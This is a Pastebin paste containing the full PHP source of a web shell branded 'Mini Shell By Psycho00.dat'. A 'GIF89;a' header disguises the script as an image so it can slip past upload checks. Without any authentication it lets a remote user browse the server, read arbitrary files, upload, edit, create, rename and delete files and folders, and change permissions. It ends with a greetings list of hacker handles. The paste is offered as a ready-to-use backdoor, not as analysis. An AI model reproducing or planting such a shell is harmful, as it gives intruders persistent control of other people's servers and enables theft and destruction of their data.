XwoLfTn

Untitled

Sep 7th, 2019
559
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.74 KB | None | 0 0
  1. GIF89;a<?php
  2.  
  3.  
  4. set_time_limit(0);
  5. error_reporting(0);
  6.  
  7. if(get_magic_quotes_gpc()){
  8. foreach($_POST as $key=>$value){
  9. $_POST[$key] = stripslashes($value);
  10. }
  11. }
  12. echo '<!doctype html>
  13. <html>
  14. <head>
  15. <title>Mini Shell &nbsp&nbsp&nbsp&nbsp|&nbsp&nbsp&nbsp&nbsp Psycho00.dat</title>
  16. </head>';
  17.  
  18. ?>
  19.  
  20. <style>
  21. @font-face {
  22. font-family: 'Comic Sans MS';
  23. font-style: normal;
  24. font-weight: 400;
  25. src: local('Comic Sans MS'), local('ComicSansMS'), url(http://fonts.gstatic.com/l/font?kit=3oir0CAJ0QJ5h5-A3AP8rRSrmRvs-bRaaQbSAUyiv7A&skey=a4ba60ff9fc73cf8&v=v8) format('truetype');
  26. }
  27. body {
  28.  
  29. background: #000000;line-height: 1;color: #fff;font-family: Comic Sans MS ;
  30.  
  31. }
  32.  
  33. table, th, td {
  34. border-collapse:collapse;
  35. background: transparent;
  36. font-family: Comic Sans MS ;
  37. font-size: 13px;
  38. }
  39. input, textarea { font-family: Comic Sans MS ; }
  40. .table_home, .th_home, .td_home { color:deepskyblue;
  41. border: 1px solid red;
  42. }
  43. th {
  44. padding: 10px;
  45. }
  46. .td_home { padding: 7px; }
  47. select {font-family: Comic Sans MS }
  48. a {color:white}
  49. textarea { width: 100%;height: 400px; }
  50. </style>
  51. <?php
  52.  
  53. echo '</head>
  54. <body><b>
  55. <H1><center><font color="red">Mini Shell</font><font color="#00ff00">&nbsp&nbsp&nbspBy&nbsp&nbsp&nbsp</font><font color="dodgerblue">Psycho00.dat</font></center></h1>
  56. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  57.  
  58. <tr><td>
  59.  
  60. <font color="#00ff00"><center>'.php_uname().'</center></font><br>';
  61. if(isset($_GET['path'])){
  62. $path = $_GET['path'];
  63. }else{
  64. $path =
  65.  
  66.  
  67. getcwd();
  68.  
  69. }
  70. $path = str_replace('\\','/',$path);
  71. $paths = explode('/',$path);
  72.  
  73. foreach($paths as $id=>$pat){
  74. if($pat == '' && $id == 0){
  75. $a = true;
  76. echo '<font color=#fff><center>$ root@tiger : <a href="?path=/" style="text-decoration:none;">/</a>';
  77. continue;
  78. }
  79. if($pat == '') continue;
  80. echo '<a href="?path=';
  81. for($i=0;$i<=$id;$i++){
  82. echo "$paths[$i]";
  83. if($i != $id) echo "/";
  84. }
  85. echo '" style="text-decoration:none;">'.$pat.'</a>/';
  86. }
  87. echo '<br><br></font></center></td></tr><tr><td><center>';
  88. if(isset($_FILES['file'])){
  89. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  90. echo '<font color="#00ff00">File Upload</font><br />';
  91. }else{
  92. echo '<font color="red">Upload Failed !!</font><br />';
  93. }
  94. }
  95. echo '</center><center><form enctype="multipart/form-data" method="POST"><font color="black"><input style="background:silver;font-family: Comic Sans MS " type="file" name="file" />
  96. <input type="submit" value="Upload" />
  97. </form></center>
  98. </td></tr>';
  99. if(isset($_GET['filesrc'])){
  100. echo "<tr><td><center>Current File : ";
  101. echo $_GET['filesrc'];
  102. echo '</center></tr></td></table><br />';
  103. echo(' <textarea style="width: 100%;height: 400px;" readonly> '.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</textarea>');
  104. }
  105. //Empety
  106. elseif(isset($_GET['option']) && $_GET['opt'] != 'delete'){
  107. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  108. //Chmod
  109. if($_GET['opt'] == 'chmod'){
  110. if(isset($_POST['perm'])){
  111. if(chmod($_POST['path'],$_POST['perm'])){
  112. echo '<font color="#00ff00">Change Permission Done </font><br />';
  113. }else{
  114. echo '<font color="red">Change Permission Error </font><br />';
  115. }
  116. }
  117.  
  118. $hell = $_GET['path'];
  119. $yeah = $_GET['name'];
  120. $patc = "$hell/$yeah";
  121.  
  122. echo '<form method="POST">
  123. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($patc)), -4).'" />
  124. <input type="hidden" name="path" value="'.$_POST['path'].'">
  125. <input type="hidden" name="opt" value="chmod">
  126. <input type="submit" value="Go" />
  127. </form>';
  128. }
  129. //
  130. elseif($_GET['opt'] == 'btw'){
  131. $cwd = getcwd();
  132. echo '<form action="?option&path='.$cwd.'&opt=delete&type=buat" method="POST">
  133. New Name : <input name="name" type="text" size="20" value="Folder" />
  134. <input type="hidden" name="path" value="'.$cwd.'">
  135. <input type="hidden" name="opt" value="delete">
  136. <input type="submit" value="Go" />
  137. </form>';
  138. }
  139. //Rename file
  140. elseif($_GET['opt'] == 'rename'){
  141. if(isset($_POST['newname'])){
  142. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  143. echo '<font color="#00ff00">Change Name Done </font><br />';
  144. }else{
  145. echo '<font color="red">Change Name Error </font><br />';
  146. }
  147. $_POST['name'] = $_POST['newname'];
  148. }
  149. $hell = $_GET['path'];
  150. $yeah = $_GET['name'];
  151. $patc = "$hell/$yeah";
  152. $new = $_POST['newname'];
  153.  
  154. echo '<form method="POST">
  155. New Name : <input name="newname" type="text" size="20" value="'.$new.'" />
  156. <input type="hidden" name="path" value="'.$patc.'">
  157. <input type="hidden" name="opt" value="rename">
  158. <input type="submit" value="Go" />
  159. </form>';
  160. }
  161. //File baru
  162. elseif($_GET['opt'] == 'baru'){
  163.  
  164. $hell = $_GET['path'];
  165. $yeah = $_GET['name'];
  166. $patc = "$hell/$yeah";
  167. $new = $_POST['newname'];
  168. $azz = $_POST['path'];
  169. $newz = "$azz/$new";
  170.  
  171.  
  172. if(isset($_POST['src'])){
  173. $fp = fopen($_POST['path'],'w');
  174. if(fwrite($fp,$_POST['src'])){
  175. echo '<font color="#00ff00">Create File Done [ '.$new.' ]</font><br />';
  176. }else{
  177. echo '<font color="red">Create File Error</font><br />';
  178. }
  179. fclose($fp);
  180. }
  181.  
  182. echo '<form method="POST"> Name : <input name="ngaran1" type="text" size="20" value="'.$new.'" /><input type="submit" name="ngaran" value="Create"/></form><br> ';
  183.  
  184. $ho = $_POST['ngaran1'];
  185.  
  186. if(isset($_POST['ngaran'])){
  187. echo '<form method="POST">
  188. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($patc)).'</textarea><br />
  189. <input type="hidden" name="path" value="'.$hell.'/'.$ho.'">
  190. <input type="hidden" name="opt" value="edit">
  191. <input type="submit" value="Go" />
  192. </form>';
  193. }
  194. }
  195. //Edited file
  196. elseif($_GET['opt'] == 'edit'){
  197. if(isset($_POST['src'])){
  198. $fp = fopen($_POST['path'],'w');
  199. if(fwrite($fp,$_POST['src'])){
  200. echo '<font color="#00ff00">Edit File Done </font><br />';
  201. }else{
  202. echo '<font color="red">Edit File Error </font><br />';
  203. }
  204. fclose($fp);
  205. }
  206. $hell = $_GET['path'];
  207. $yeah = $_GET['name'];
  208. $patc = "$hell/$yeah";
  209. echo '<form method="POST">
  210. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($patc)).'</textarea><br />
  211. <input type="hidden" name="path" value="'.$patc.'">
  212. <input type="hidden" name="opt" value="edit">
  213. <input type="submit" value="Go" />
  214. </form>';
  215. }
  216. echo '</center>';
  217. }else{
  218. echo '</table><br /><center>';
  219. //Delete dir and file
  220. if(isset($_GET['option']) && $_GET['opt'] == 'delete'){
  221.  
  222. $hell = $_GET['path'];
  223. $yeah = $_GET['name'];
  224. $patc = "$hell/$yeah";
  225.  
  226. //Delete dir
  227. if($_GET['type'] == 'dir'){
  228.  
  229. if(rmdir($patc)){
  230. echo '<font color="#00ff00">Delete File Done</font><br />';
  231. }else{
  232. echo '<font color="red#">Delete File Error </font><br />';
  233. }
  234. }
  235. //buat folder
  236. if($_GET['type'] == 'buat'){
  237. $haaa = $_POST['path'];
  238. $heee = $_POST['name'];
  239. $hooo = "$haaa/$heee";
  240. $new = $haaa.'/'.htmlspecialchars($heee);
  241. if(!mkdir($new)){
  242. echo '<font color="red">Create Folder Error</font><br />';
  243. }else{
  244. echo '<font color="#00ff00">Create Folder Done </font><br />';
  245. }
  246. }
  247. //Delete file
  248. elseif($_GET['type'] == 'file'){
  249.  
  250. $hell = $_GET['path'];
  251. $yeah = $_GET['name'];
  252. $patc = "$hell/$yeah";
  253.  
  254. if(unlink($patc)){
  255. echo '<font color="#00ff00">Delete File Done</font><br />';
  256. }else{
  257. echo '<font color="red#">Delete File Error </font><br />';
  258. }
  259. }
  260. }
  261. echo '</center>';
  262. $scandir = scandir($path);
  263. $pa = getcwd();
  264. echo ' <table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
  265. <tr>
  266. <th class=th_home style="background:black;color:yellow;"><center>Name</center></th>
  267. <th class=th_home style="background:black;color:yellow;" ><center>Size</center></th>
  268. <th class=th_home style="background:black;color:yellow;" ><center>Permission</center></th>
  269. <th class=th_home style="background:black;color:yellow;" ><center>Options</center></th>
  270. </tr> <tr>
  271. <td class=td_home>..</td><td class=td_home align=center>NONE</td> <td class=td_home align=center>LINK</td> <td class=td_home align=center> <a href="?option&path='.$pa.'&opt=baru&name=new.php" style="text-decoration:none;">+ New File</a> | <a href="?option&path='.$pa.'&opt=btw&type=dir" style="text-decoration:none;">+ New Dir</a> </td></tr>
  272. ';
  273.  
  274. foreach($scandir as $dir){
  275. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  276. echo "
  277. <tr>
  278. <td class=td_home> <img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='> <a href=\"?path=$path/$dir\" style=\"text-decoration:none;\">$dir</a></td>
  279. <td class=td_home ><center>DIR</center></td>
  280. <td class=td_home ><center>";
  281. if(is_writable("$path/$dir")) echo '<font color="#00ff00">';
  282. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  283. echo perms("$path/$dir");
  284. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  285.  
  286. echo "</center></td>
  287. <td class=td_home ><center>
  288. <a href=\"?option&path=$path&opt=rename&type=dir&name=$dir\" style=\"text-decoration:none;\">Rename</a> <a href=\"?option&path=$path&opt=delete&type=dir&name=$dir\" style=\"text-decoration:none;\">Delete</a> <a href=\"?option&path=$path&opt=chmod&type=dir&name=$dir\" style=\"text-decoration:none;\">Chmod</a>
  289.  
  290. </center></td>
  291. </tr>";
  292. }
  293. echo '<br>';
  294. foreach($scandir as $file){
  295. if(!is_file("$path/$file")) continue;
  296. $size = filesize("$path/$file")/1024;
  297. $size = round($size,3);
  298. if($size >= 1024){
  299. $size = round($size/1024,2).' MB';
  300. }else{
  301. $size = $size.' KB';
  302. }
  303.  
  304. echo "<tr>
  305. <td class=td_home > <img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='> <a href=\"?filesrc=$path/$file&path=$path\" style=\"text-decoration:none;\">$file</a></td>
  306. <td class=td_home><center>".$size."</center></td>
  307. <td class=td_home><center>";
  308. if(is_writable("$path/$file")) echo '<font color="#00ff00">';
  309. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  310. echo perms("$path/$file");
  311. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  312. echo "</center></td>
  313. <td class=td_home><center>
  314. <a href=\"?option&path=$path&opt=edit&type=file&name=$file\" style=\"text-decoration:none;\">Edit |</a> <a href=\"?option&path=$path&opt=rename&type=file&name=$file&path=$path\" style=\"text-decoration:none;\"> Rename |</a> <a href=\"?option&path=$path&opt=delete&type=file&name=$file\" style=\"text-decoration:none;\"> Delete |</a> <a href=\"?option&path=$path&opt=chmod&type=file&name=$file\" style=\"text-decoration:none;\">
  315. Chmod</a>
  316. </center></td>
  317. </tr>";
  318. }
  319. echo '</table>
  320. </div>';
  321. }
  322. echo '<br><pre><font size="5" color="red"><marquee="4"><marquee>Greetz : TiGER M@TE - R3liGiOus HuNt3r - D4RK C0D3R - Leg!on Bomb3r - w43l j@b - MR.Frank69 - H34rtl355 H4CK3R - OP71MU5 - Ultimate Haxor - Ph4nT@M R4Y - Cryptic Hunt3r - L1ON M1N1 - Cyb3r Missilz </marquee></font></pre></body>
  323. </html>';
  324. function perms($file){
  325. $perms = fileperms($file);
  326.  
  327. if (($perms & 0xC000) == 0xC000) {
  328. // Socket
  329. $info = 's';
  330. } elseif (($perms & 0xA000) == 0xA000) {
  331. // Symbolic Link
  332. $info = 'l';
  333. } elseif (($perms & 0x8000) == 0x8000) {
  334. // Regular
  335. $info = '-';
  336. } elseif (($perms & 0x6000) == 0x6000) {
  337. // Block special
  338. $info = 'b';
  339. } elseif (($perms & 0x4000) == 0x4000) {
  340. // Directory
  341. $info = 'd';
  342. } elseif (($perms & 0x2000) == 0x2000) {
  343. // Character special
  344. $info = 'c';
  345. } elseif (($perms & 0x1000) == 0x1000) {
  346. // FIFO pipe
  347. $info = 'p';
  348. } else {
  349. // Unknown
  350. $info = 'u';
  351. }
  352.  
  353. // Owner
  354. $info .= (($perms & 0x0100) ? 'r' : '-');
  355. $info .= (($perms & 0x0080) ? 'w' : '-');
  356. $info .= (($perms & 0x0040) ?
  357. (($perms & 0x0800) ? 's' : 'x' ) :
  358. (($perms & 0x0800) ? 'S' : '-'));
  359.  
  360. // Group
  361. $info .= (($perms & 0x0020) ? 'r' : '-');
  362. $info .= (($perms & 0x0010) ? 'w' : '-');
  363. $info .= (($perms & 0x0008) ?
  364. (($perms & 0x0400) ? 's' : 'x' ) :
  365. (($perms & 0x0400) ? 'S' : '-'));
  366.  
  367. // World
  368. $info .= (($perms & 0x0004) ? 'r' : '-');
  369. $info .= (($perms & 0x0002) ? 'w' : '-');
  370. $info .= (($perms & 0x0001) ?
  371. (($perms & 0x0200) ? 't' : 'x' ) :
  372. (($perms & 0x0200) ? 'T' : '-'));
  373.  
  374. return $info;
  375. }
  376.  
  377. ?>
Add Comment
Please, Sign In to add comment